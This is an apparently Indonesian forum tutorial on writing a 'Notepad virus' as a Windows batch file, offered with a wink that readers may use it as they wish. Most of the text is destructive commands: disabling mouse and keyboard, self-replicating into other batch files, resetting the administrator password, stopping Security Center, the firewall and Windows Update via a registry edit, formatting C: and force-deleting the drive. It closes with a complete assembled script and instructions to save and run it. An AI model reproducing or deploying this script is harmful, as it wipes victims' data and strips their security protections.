Virus memang sangat menyebalkan, tak jarang hasil kerja kita ruksak sama virus.. baiklah jangan mau dianiaya terus oleh virus mari kita pelajari cara membuat virus, karena dengan memahami kita bisa mengontrol bahkan menyerang dengan virus itu. Sebenernya ini hal yg kurang baik jika dipelajari oleh orang-orang yg ga bertanggung jawab, baiklah smuanya terserah anda mau dibawa ke arah mana ilmu ini :)
"ini kan cuma virus notepad yg ga berbahaya ?" hahah .. yg ga percaya silahkan coba, yg pasti saran saya
"don't try it on your PC."
BASIC
invisible command
@echo off
Swap mouse
rundll32 user,swapmousebutton
buka URL yg diinginkan
start [url]http://www.google.com[/url]
Shutdown kmptr & beri pesan
shutdown -s -t 10 -c "YOUR MESSAGE HERE" -f
Disable mouse stlh Restart
rundll32 mouse,disable
Disable keyboard stlh Restart
rundll32 keyboard,disable
Freezes kmptr stlh Restart
rundll32 user,disableoemlayer
Worm
memperbanyak diri didlm direktori
ctty nul
for %%i in (*.bat) do copy %0+%%i %%i /y >nul"
me-replace file batch yg lain
%0 >>other.bat
Trojan
mngirim dftar file dlm direktori
dir *.*>>Filelist.txt
ganti password admin
net user administrator PASSWORD HERE
membuat info IP
ipconfig >Computer-IP-address.txt
Perusak
copy ke Autorun
COPY %0 %windir%WINSTART.BAT
format drive C
format c: /q /autotest
delete Windows
DELTREE /Y %windir%
delete drive C dg paksa
DEL /F /S /Q C:
mematikan firewall & security center
net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
Pause
pause smpai tekan smbarang tombol
pause
pause 20 detik
@ping.exe 127.0.0.1 -n 20 -w 1000 > nul
Berikut hasil akhirnya :
@echo off
cls
rundll32 mouse,disable
rundll32 keyboard,disable
COPY %0 %windir%WINSTART.BAT
net stop "Security Center"
net stop SharedAccess
echo Anda kena VIRUS!!!
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
start [url]http://www.youtube.com[/url]
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
DEL /F /S /Q C:
shutdown -s -t 10 -c "Ucapkan selamat tinggal pada komputermu!" -f
-disables mouse & keyboard
-copy ke AUTORUN
-stop Security Center
-display "Anda kena VIRUS!!!" selama 5 detik
-starts [url]http://www.youtube.com[/url]
-disable firewall
-delete c: drive
-force shutdown dg pesan "Ucapkan selamat tinggal pada komputermu!"
Buka Notepad, copy dan paste script di atas kemudian save dgn ekstension .bat